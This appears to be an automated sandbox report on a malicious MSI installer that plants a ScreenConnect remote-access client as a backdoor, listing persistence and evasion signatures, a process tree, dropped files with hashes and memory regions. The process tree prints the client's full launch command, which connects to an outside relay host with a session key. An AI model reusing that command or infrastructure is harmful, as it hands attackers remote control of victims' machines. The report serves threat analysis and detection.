Analysis

  • max time kernel
    148s
  • max time network
    132s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    31/07/2026, 00:18

General

  • Target
    bafybeibh6u74fuvyazqu2q7y6pginkxprjurxchgfshwigrs5y77qcbj6i.msi
  • Size 11.2MB
  • Sample260731-all38azekf
  • SHA256 434ffec81e6c1be4873754fa5854fd6c5b3d387a4b9f2119a7bfec8bbe181d9f
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 2 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 2 IoCs
  • Drops file in Program Files directory 18 IoCs
  • Drops file in Windows directory 17 IoCs
  • Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 7 IoCs
  • Suspicious use of SendNotifyMessage 5 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\bafybeibh6u74fuvyazqu2q7y6pginkxprjurxchgfshwigrs5y77qcbj6i.msi
    1⤵
    • Enumerates connected drives
    • Event Triggered Execution: Installer Packages
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    PID:1892
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:632
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 321D3C8779A4A88BAF179F3E2F9776D5 C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:4276
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSIAB59.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240758000 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:1308
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:1228
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding D72A01B90C60FB662934F6F49FA26EDF
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:5208
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding CBCC7CB84C92174CA9099A99D167B499 E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:1420
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:3520
    • C:\Program Files (x86)\ScreenConnect Client (fb263e0e1ea0346c)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (fb263e0e1ea0346c)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=ssaviewstatementonline.com&p=8041&s=50f6c713-fd4f-4231-85e1-8f1d829548da&k=BgIAAACkAABSU0ExAAgAAAEAAQBxR%2b2tJpkjXghHJqMyhr6g2%2bzdliMBebD7X%2fVgyZGWUj4bnGrp%2bb9%2b7dXbAmj6aGc3Cx%2fHVYIvpORIY19qeX9sQmFf01yS%2b4BDWQlHgqKV%2fQynCkxnVmp%2bt7LZbhk9Zz3%2bjK6H54lVVgWSyuMKdPFAw1wRCD2T3k4Csax4x6La%2fSGssCWee8Ykl2fQUCUkNfwJuKy%2fSInivcc1ZqzwJixYlSdF%2bJ7Vg0rJU8PiT6u4KxmO11dCfUQa%2fXrdXi3LhaXQeKAM%2fHfo5RZWWBxAYnMJwamm7vf5WcKmXlWxQyVkfWbI50eoZWGof34nxy4kRExMTm0I5ijVGll9dpLITS7X&c=Cloud&c=&c=&c=&c=&c=&c=&c="
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:120
      • C:\Program Files (x86)\ScreenConnect Client (fb263e0e1ea0346c)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (fb263e0e1ea0346c)\ScreenConnect.WindowsClient.exe" "RunRole" "9ced7b16-ce4f-4703-8922-7010a90ce3fb" "User"
        2⤵
        • Executes dropped EXE
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        PID:3880
      • C:\Program Files (x86)\ScreenConnect Client (fb263e0e1ea0346c)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (fb263e0e1ea0346c)\ScreenConnect.WindowsClient.exe" "RunRole" "a6f6482d-213b-4e84-aaec-69ec7d9a3086" "System"
        2⤵
        • Executes dropped EXE
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        PID:4108

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          e5a00fc.rbs

          • Path C:\Config.Msi\e5a00fc.rbs
          • Size 214KB
          • SHA256 c0eefaf82f51dac40492dbebf619a0067d06c1d017272014edbb6fd9fc43acf7
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.Override.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (fb263e0e1ea0346c)\Client.Override.en-US.resources
          • Size 499B
          • SHA256 51b4e110ec81d97d15ada83142bc3454fa9b02d9f0641681c3145ab168653fc8
          • MD5 SHA1 SHA512 TLSH

          Client.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (fb263e0e1ea0346c)\Client.en-US.resources
          • Size 49KB
          • SHA256 b26b7a988aba7f94473468cae82846bb672a422b016ed1907d187a5c3bb0f8a0
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (fb263e0e1ea0346c)\Client.resources
          • Size 28KB
          • SHA256 95b299c8c163731707e8134946059a28c668c2b65b48f57eac2847dbe4beb63e
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Client.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (fb263e0e1ea0346c)\ScreenConnect.Client.dll
          • Size 192KB
          • SHA256 dd75f431bc27ae5cd60eabf0d705de194c72aa7c6897a7789981df620be5cc41
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (fb263e0e1ea0346c)\ScreenConnect.ClientService.dll
          • Size 67KB
          • SHA256 228c0f9be331a5fbce6711f6c72d7660419d7746da604168d6f4ad9a492b00aa
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (fb263e0e1ea0346c)\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 8c7e1feb403442d3bc11a1945a9e0b3651a5095ca3acabe3f608da801dc8c2b7
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsAuthenticationPackage.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (fb263e0e1ea0346c)\ScreenConnect.WindowsAuthenticationPackage.dll
          • Size 254KB
          • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (fb263e0e1ea0346c)\ScreenConnect.WindowsClient.exe
          • Size 595KB
          • SHA256 da7697707b476046197af8d35c5a1df3cebd7153b7b48aab1079a6375bdca74a
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe.config

          • Path C:\Program Files (x86)\ScreenConnect Client (fb263e0e1ea0346c)\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512 TLSH

          ScreenConnect.WindowsCredentialProvider.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (fb263e0e1ea0346c)\ScreenConnect.WindowsCredentialProvider.dll
          • Size 837KB
          • SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          app.config

          • Path C:\Program Files (x86)\ScreenConnect Client (fb263e0e1ea0346c)\app.config
          • Size 1KB
          • SHA256 809e234cd64a1d65abe1d27163ac811075f01c67a21f8882689b3f6efb773b75
          • MD5 SHA1 SHA512 TLSH

          system.config

          • Path C:\Program Files (x86)\ScreenConnect Client (fb263e0e1ea0346c)\system.config
          • Size 962B
          • SHA256 2c7dd6ae5fdd7a357992474138cc49c81ae9e2639cb198458a7280b769b7ccda
          • MD5 SHA1 SHA512 TLSH

          MSIAB59.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\MSIAB59.tmp
          • Size 1.0MB
          • SHA256 a5c116a5746888cdd47fae8269e5d5cc1fa51617744c50256619c75e540034e0
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Microsoft.Deployment.WindowsInstaller.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSIAB59.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSIAB59.tmp-\ScreenConnect.Core.dll
          • Size 539KB
          • SHA256 1e9eacd3c680b18f3bfee12a835a49d63fed76056aedb2b2ef312999eb6b4033
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.InstallerActions.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSIAB59.tmp-\ScreenConnect.InstallerActions.dll
          • Size 11KB
          • SHA256 af7b515d5ea17e6811f7fd4e0fe76b7bbc6c2ff4e58dc005c86fa30d44f184ca
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSIAB59.tmp-\ScreenConnect.Windows.dll
          • Size 1.6MB
          • SHA256 f6e77233f0995581f3171ee92c5cab5b8052d177d333a4999e16e696616739a6
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSI736.tmp

          • Path C:\Windows\Installer\MSI736.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP TLSH

          e5a00fb.msi

          • Path C:\Windows\Installer\e5a00fb.msi
          • Size 11.2MB
          • SHA256 434ffec81e6c1be4873754fa5854fd6c5b3d387a4b9f2119a7bfec8bbe181d9f
          • MD5 SHA1 SHA512 SSDEEP TLSH

          metadata-2

          • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
          • Size 26.1MB
          • SHA256 7cbef15b790f2f47163da75a723f96c4b0e724b8610fe583325d4aed0cdd32fc
          • MD5 SHA1 SHA512 SSDEEP TLSH

          {f8f145d4-db57-4d6b-b150-5254d946bac0}_OnDiskSnapshotProp

          • Path \??\Volume{c4ee2a5b-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{f8f145d4-db57-4d6b-b150-5254d946bac0}_OnDiskSnapshotProp
          • Size 6KB
          • SHA256 f7d65014043eea2628876c65e6bbec16b12fe8d71a59754e081ee5b1592a17e1
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/120-96-0x0000000004110000-0x0000000004160000-memory.dmp

          memory/120-101-0x0000000004410000-0x00000000044A2000-memory.dmp

          memory/120-103-0x0000000004370000-0x00000000043B1000-memory.dmp

          memory/120-105-0x0000000004600000-0x00000000046D5000-memory.dmp

          memory/120-100-0x0000000004160000-0x0000000004196000-memory.dmp

          memory/120-74-0x0000000003ED0000-0x0000000003EE8000-memory.dmp

          memory/1308-22-0x0000000003500000-0x000000000350A000-memory.dmp

          memory/1308-18-0x0000000005520000-0x000000000554E000-memory.dmp

          memory/1308-26-0x0000000005600000-0x000000000568E000-memory.dmp

          memory/1308-31-0x0000000005FB0000-0x000000000656A000-memory.dmp

          memory/1308-30-0x0000000005840000-0x00000000059EC000-memory.dmp

          memory/3880-118-0x000000001BE00000-0x000000001BF88000-memory.dmp

          memory/3880-116-0x000000001BA10000-0x000000001BA9E000-memory.dmp

          memory/3880-117-0x000000001BC50000-0x000000001BDFC000-memory.dmp

          memory/3880-119-0x0000000002B90000-0x0000000002BA8000-memory.dmp

          memory/3880-120-0x0000000002C10000-0x0000000002C28000-memory.dmp

          memory/3880-115-0x0000000002BD0000-0x0000000002C06000-memory.dmp

          memory/3880-114-0x00000000008B0000-0x0000000000948000-memory.dmp

          memory/3880-125-0x000000001B550000-0x000000001B67F000-memory.dmp

          memory/4108-122-0x000000001B760000-0x000000001B88F000-memory.dmp